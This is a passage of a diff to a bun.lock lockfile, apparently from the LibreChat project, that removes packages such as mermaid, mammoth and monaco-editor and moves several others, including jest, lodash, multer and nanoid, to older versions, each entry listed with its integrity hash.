"is-wsl": ["is-wsl@3.1.0", "", { "dependencies": { "is-inside-container": "^1.0.0" } }, "sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw=="],
- "isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
+ "isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
"isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
@@ -3461,7 +3215,7 @@
"jest-message-util": ["jest-message-util@30.2.0", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@jest/types": "30.2.0", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", "micromatch": "^4.0.8", "pretty-format": "30.2.0", "slash": "^3.0.0", "stack-utils": "^2.0.6" } }, "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw=="],
- "jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+ "jest-mock": ["jest-mock@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "jest-util": "^29.7.0" } }, "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw=="],
"jest-pnp-resolver": ["jest-pnp-resolver@1.2.3", "", { "peerDependencies": { "jest-resolve": "*" } }, "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w=="],
@@ -3477,7 +3231,7 @@
"jest-snapshot": ["jest-snapshot@30.2.0", "", { "dependencies": { "@babel/core": "^7.27.4", "@babel/generator": "^7.27.5", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1", "@babel/types": "^7.27.3", "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "@jest/snapshot-utils": "30.2.0", "@jest/transform": "30.2.0", "@jest/types": "30.2.0", "babel-preset-current-node-syntax": "^1.2.0", "chalk": "^4.1.2", "expect": "30.2.0", "graceful-fs": "^4.2.11", "jest-diff": "30.2.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-util": "30.2.0", "pretty-format": "30.2.0", "semver": "^7.7.2", "synckit": "^0.11.8" } }, "sha512-5WEtTy2jXPFypadKNpbNkZ72puZCa6UjSr/7djeecHWOu7iYhSXSnHScT8wBz3Rn8Ena5d5RYRcsyKIeqG1IyA=="],
- "jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+ "jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
"jest-validate": ["jest-validate@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "@jest/types": "30.2.0", "camelcase": "^6.3.0", "chalk": "^4.1.2", "leven": "^3.1.0", "pretty-format": "30.2.0" } }, "sha512-FBGWi7dP2hpdi8nBoWxSsLvBFewKAg0+uSQwBaof4Y4DPgBabXgpSYC5/lR7VmnIlSpASmCi/ntRWPbv7089Pw=="],
@@ -3529,8 +3283,6 @@
"jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="],
- "jszip": ["jszip@3.10.1", "", { "dependencies": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "setimmediate": "^1.0.5" } }, "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g=="],
-
"jwa": ["jwa@2.0.0", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA=="],
"jwks-rsa": ["jwks-rsa@3.2.0", "", { "dependencies": { "@types/express": "^4.17.20", "@types/jsonwebtoken": "^9.0.4", "debug": "^4.3.4", "jose": "^4.15.4", "limiter": "^1.1.5", "lru-memoizer": "^2.2.0" } }, "sha512-PwchfHcQK/5PSydeKCs1ylNym0w/SSv8a62DgHJ//7x2ZclCoinlsjAfDxAAbpoTPybOum/Jgy+vkvMmKz89Ww=="],
@@ -3545,22 +3297,16 @@
"keyv-file": ["keyv-file@5.2.0", "", { "dependencies": { "@keyv/serialize": "^1.0.1", "tslib": "^1.14.1" } }, "sha512-5JEBqQiDzjGCQHtf7KLReJdHKchaJyUZW+9TvBu+4dc+uuTqUG9KcdA3ICMXlwky3qjKc0ecNCNefbgjyDtlAg=="],
- "khroma": ["khroma@2.1.0", "", {}, "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw=="],
-
"klona": ["klona@2.0.6", "", {}, "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA=="],
"kuler": ["kuler@2.0.0", "", {}, "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A=="],
- "langium": ["langium@4.2.1", "", { "dependencies": { "chevrotain": "~11.1.1", "chevrotain-allstar": "~0.3.1", "vscode-languageserver": "~9.0.1", "vscode-languageserver-textdocument": "~1.0.11", "vscode-uri": "~3.1.0" } }, "sha512-zu9QWmjpzJcomzdJQAHgDVhLGq5bLosVak1KVa40NzQHXfqr4eAHupvnPOVXEoLkg6Ocefvf/93d//SB7du4YQ=="],
-
- "langsmith": ["langsmith@0.4.12", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" }, "optionalPeers": ["@opentelemetry/api", "@opentelemetry/exporter-trace-otlp-proto", "@opentelemetry/sdk-trace-base", "openai"] }, "sha512-YWt0jcGvKqjUgIvd78rd4QcdMss0lUkeUaqp0UpVRq7H2yNDx8H5jOUO/laWUmaPtWGgcip0qturykXe1g9Gqw=="],
+ "langsmith": ["langsmith@0.3.67", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "p-retry": "4", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" } }, "sha512-l4y3RmJ9yWF5a29fLg3eWZQxn6Q6dxTOgLGgQHzPGZHF3NUynn+A+airYIe/Yt4rwjGbuVrABAPsXBkVu/Hi7g=="],
"language-subtag-registry": ["language-subtag-registry@0.3.23", "", {}, "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="],
"language-tags": ["language-tags@1.0.9", "", { "dependencies": { "language-subtag-registry": "^0.3.20" } }, "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA=="],
- "layout-base": ["layout-base@1.0.2", "", {}, "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg=="],
-
"ldap-filter": ["ldap-filter@0.3.3", "", { "dependencies": { "assert-plus": "^1.0.0" } }, "sha512-/tFkx5WIn4HuO+6w9lsfxq4FN3O+fDZeO9Mek8dCD8rTUpqzRa766BOBO7BcGkn3X86m5+cBm1/2S/Shzz7gMg=="],
"ldapauth-fork": ["ldapauth-fork@5.0.5", "", { "dependencies": { "@types/ldapjs": "^2.2.2", "bcryptjs": "^2.4.0", "ldapjs": "^2.2.1", "lru-cache": "^7.10.1" } }, "sha512-LWUk76+V4AOZbny/3HIPQtGPWZyA3SW2tRhsWIBi9imP22WJktKLHV1ofd8Jo/wY7Ve6vAT7FCI5mEn3blZTjw=="],
@@ -3573,8 +3319,6 @@
"librechat-data-provider": ["librechat-data-provider@workspace:packages/data-provider"],
- "lie": ["lie@3.3.0", "", { "dependencies": { "immediate": "~3.0.5" } }, "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ=="],
-
"lilconfig": ["lilconfig@3.1.3", "", {}, "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw=="],
"limiter": ["limiter@1.1.5", "", {}, "sha512-FWWMIEOxz3GwUI4Ts/IvgVy6LPvoMPgjMdQ185nN6psJyBJ4yOpzqm695/h5umdLJg2vW3GR5iG11MAkR2AzJA=="],
@@ -3585,13 +3329,13 @@
"listr2": ["listr2@8.2.5", "", { "dependencies": { "cli-truncate": "^4.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" } }, "sha512-iyAZCeyD+c1gPyE9qpFu8af0Y+MRtmKOncdGoA2S5EY8iFq99dmmvkNnHiWo+pj0s7yH7l3KPIgee77tKpXPWQ=="],
+ "loader-runner": ["loader-runner@4.3.0", "", {}, "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg=="],
+
"loader-utils": ["loader-utils@3.3.1", "", {}, "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg=="],
"locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="],
- "lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="],
-
- "lodash-es": ["lodash-es@4.17.23", "", {}, "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg=="],
+ "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
"lodash.camelcase": ["lodash.camelcase@4.3.0", "", {}, "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA=="],
@@ -3623,6 +3367,8 @@
"lodash.sortby": ["lodash.sortby@4.7.0", "", {}, "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="],
+ "lodash.throttle": ["lodash.throttle@4.1.1", "", {}, "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ=="],
+
"lodash.uniq": ["lodash.uniq@4.5.0", "", {}, "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="],
"log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="],
@@ -3635,8 +3381,6 @@
"loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": "cli.js" }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="],
- "lop": ["lop@0.4.2", "", { "dependencies": { "duck": "^0.1.12", "option": "~0.2.1", "underscore": "^1.13.1" } }, "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw=="],
-
"lowlight": ["lowlight@2.9.0", "", { "dependencies": { "@types/hast": "^2.0.0", "fault": "^2.0.0", "highlight.js": "~11.8.0" } }, "sha512-OpcaUTCLmHuVuBcyNckKfH5B0oA4JUavb/M/8n9iAvanJYNQkrVm4pvyX0SUaqkBG4dnWHKt7p50B3ngAG2Rfw=="],
"lru-cache": ["lru-cache@4.1.5", "", { "dependencies": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" } }, "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g=="],
@@ -3655,12 +3399,8 @@
"makeerror": ["makeerror@1.0.12", "", { "dependencies": { "tmpl": "1.0.5" } }, "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg=="],
- "mammoth": ["mammoth@1.11.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.6", "argparse": "~1.0.3", "base64-js": "^1.5.1", "bluebird": "~3.4.0", "dingbat-to-unicode": "^1.0.1", "jszip": "^3.7.1", "lop": "^0.4.2", "path-is-absolute": "^1.0.0", "underscore": "^1.13.1", "xmlbuilder": "^10.0.0" }, "bin": { "mammoth": "bin/mammoth" } }, "sha512-BcEqqY/BOwIcI1iR5tqyVlqc3KIaMRa4egSoK83YAVrBf6+yqdAAbtUcFDCWX8Zef8/fgNZ6rl4VUv+vVX8ddQ=="],
-
"markdown-table": ["markdown-table@3.0.4", "", {}, "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw=="],
- "marked": ["marked@14.0.0", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ=="],
-
"match-sorter": ["match-sorter@8.1.0", "", { "dependencies": { "@babel/runtime": "^7.23.8", "remove-accents": "0.5.0" } }, "sha512-0HX3BHPixkbECX+Vt7nS1vJ6P2twPgGTU3PMXjWrl1eyVCL24tFHeyYN1FN5RKLzve0TyzNI9qntqQGbebnfPQ=="],
"math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="],
@@ -3719,8 +3459,6 @@
"merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
- "mermaid": ["mermaid@11.13.0", "", { "dependencies": { "@braintree/sanitize-url": "^7.1.1", "@iconify/utils": "^3.0.2", "@mermaid-js/parser": "^1.0.1", "@types/d3": "^7.4.3", "@upsetjs/venn.js": "^2.0.0", "cytoscape": "^3.33.1", "cytoscape-cose-bilkent": "^4.1.0", "cytoscape-fcose": "^2.2.0", "d3": "^7.9.0", "d3-sankey": "^0.12.3", "dagre-d3-es": "7.0.14", "dayjs": "^1.11.19", "dompurify": "^3.3.1", "katex": "^0.16.25", "khroma": "^2.1.0", "lodash-es": "^4.17.23", "marked": "^16.3.0", "roughjs": "^4.6.6", "stylis": "^4.3.6", "ts-dedent": "^2.2.0", "uuid": "^11.1.0" } }, "sha512-fEnci+Immw6lKMFI8sqzjlATTyjLkRa6axrEgLV2yHTfv8r+h1wjFbV6xeRtd4rUV1cS4EpR9rwp3Rci7TRWDw=="],
-
"methods": ["methods@1.1.2", "", {}, "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="],
"micromark": ["micromark@4.0.0", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-o/sd0nMof8kYff+TqcDx3VSrgBTcZpSvYcAHIfHhv5VAuNmisCxjhx6YmxS8PFEpb9z5WKWKPdzf0jM23ro3RQ=="],
@@ -3805,24 +3543,20 @@
"minimalistic-crypto-utils": ["minimalistic-crypto-utils@1.0.1", "", {}, "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg=="],
- "minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="],
+ "minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
"minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
- "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
+ "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
"mkdirp": ["mkdirp@1.0.4", "", { "bin": "bin/cmd.js" }, "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="],
- "mlly": ["mlly@1.8.1", "", { "dependencies": { "acorn": "^8.16.0", "pathe": "^2.0.3", "pkg-types": "^1.3.1", "ufo": "^1.6.3" } }, "sha512-SnL6sNutTwRWWR/vcmCYHSADjiEesp5TGQQ0pXyLhW5IoeibRlF/CbSLailbB3CNqJUk9cVJ9dUDnbD7GrcHBQ=="],
-
"module-alias": ["module-alias@2.2.3", "", {}, "sha512-23g5BFj4zdQL/b6tor7Ji+QY4pEfNH784BMslY9Qb0UnJWRAt+lQGLYmRaM0KDBwIG23ffEBELhZDP2rhi9f/Q=="],
"module-details-from-path": ["module-details-from-path@1.0.4", "", {}, "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w=="],
"moment": ["moment@2.30.1", "", {}, "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how=="],
- "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="],
-
"mongodb": ["mongodb@6.14.2", "", { "dependencies": { "@mongodb-js/saslprep": "^1.1.9", "bson": "^6.10.3", "mongodb-connection-string-url": "^3.0.0" }, "peerDependencies": { "@aws-sdk/credential-providers": "^3.188.0", "@mongodb-js/zstd": "^1.1.0 || ^2.0.0", "gcp-metadata": "^5.2.0", "kerberos": "^2.0.1", "mongodb-client-encryption": ">=6.0.0 <7", "snappy": "^7.2.2", "socks": "^2.7.1" }, "optionalPeers": ["@mongodb-js/zstd", "kerberos", "mongodb-client-encryption", "snappy", "socks"] }, "sha512-kMEHNo0F3P6QKDq17zcDuPeaywK/YaJVCEQRzPF3TOM/Bl9MFg64YE5Tu7ifj37qZJMhwU1tl2Ioivws5gRG5Q=="],
"mongodb-connection-string-url": ["mongodb-connection-string-url@3.0.2", "", { "dependencies": { "@types/whatwg-url": "^11.0.2", "whatwg-url": "^14.1.0 || ^13.0.0" } }, "sha512-rMO7CGo/9BFwyZABcKAWL8UJwH/Kc2x0g72uhDWzG48URRax5TCIcJ7Rc3RZqffZzO/Gwff/jyKwCU9TN8gehA=="],
@@ -3845,13 +3579,13 @@
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
- "multer": ["multer@2.1.1", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "type-is": "^1.6.18" } }, "sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A=="],
+ "multer": ["multer@2.0.2", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "mkdirp": "^0.5.6", "object-assign": "^4.1.1", "type-is": "^1.6.18", "xtend": "^4.0.2" } }, "sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw=="],
"mustache": ["mustache@4.2.0", "", { "bin": "bin/mustache" }, "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ=="],
"mz": ["mz@2.7.0", "", { "dependencies": { "any-promise": "^1.0.0", "object-assign": "^4.0.1", "thenify-all": "^1.0.0" } }, "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q=="],
- "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
+ "nanoid": ["nanoid@3.3.8", "", { "bin": "bin/nanoid.cjs" }, "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w=="],
"napi-postinstall": ["napi-postinstall@0.3.4", "", { "bin": "lib/cli.js" }, "sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ=="],
@@ -3871,8 +3605,6 @@
"node-int64": ["node-int64@0.4.0", "", {}, "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="],
- "node-readable-to-web-readable-stream": ["node-readable-to-web-readable-stream@0.4.2", "", {}, "sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ=="],
-
"node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="],
"node-stdlib-browser": ["node-stdlib-browser@1.3.1", "", { "dependencies": { "assert": "^2.0.0", "browser-resolve": "^2.0.0", "browserify-zlib": "^0.2.0", "buffer": "^5.7.1", "console-browserify": "^1.1.0", "constants-browserify": "^1.0.0", "create-require": "^1.1.1", "crypto-browserify": "^3.12.1", "domain-browser": "4.22.0", "events": "^3.0.0", "https-browserify": "^1.0.0", "isomorphic-timers-promises": "^1.0.1", "os-browserify": "^0.3.0", "path-browserify": "^1.0.1", "pkg-dir": "^5.0.0", "process": "^0.11.10", "punycode": "^1.4.1", "querystring-es3": "^0.2.1", "readable-stream": "^3.6.0", "stream-browserify": "^3.0.0", "stream-http": "^3.2.0", "string_decoder": "^1.0.0", "timers-browserify": "^2.0.4", "tty-browserify": "0.0.1", "url": "^0.11.4", "util": "^0.12.4", "vm-browserify": "^1.0.1" } }, "sha512-X75ZN8DCLftGM5iKwoYLA3rjnrAEs97MkzvSd4q2746Tgpg8b8XWiBGiBG4ZpgcAqBgtgPHTiAc8ZMCvZuikDw=="],
@@ -3885,6 +3617,8 @@
"normalize-path": ["normalize-path@3.0.0", "", {}, "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="],
+ "normalize-range": ["normalize-range@0.1.2", "", {}, "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA=="],
+
"normalize-url": ["normalize-url@6.1.0", "", {}, "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A=="],
"npm-run-path": ["npm-run-path@5.3.0", "", { "dependencies": { "path-key": "^4.0.0" } }, "sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ=="],
@@ -3917,8 +3651,6 @@
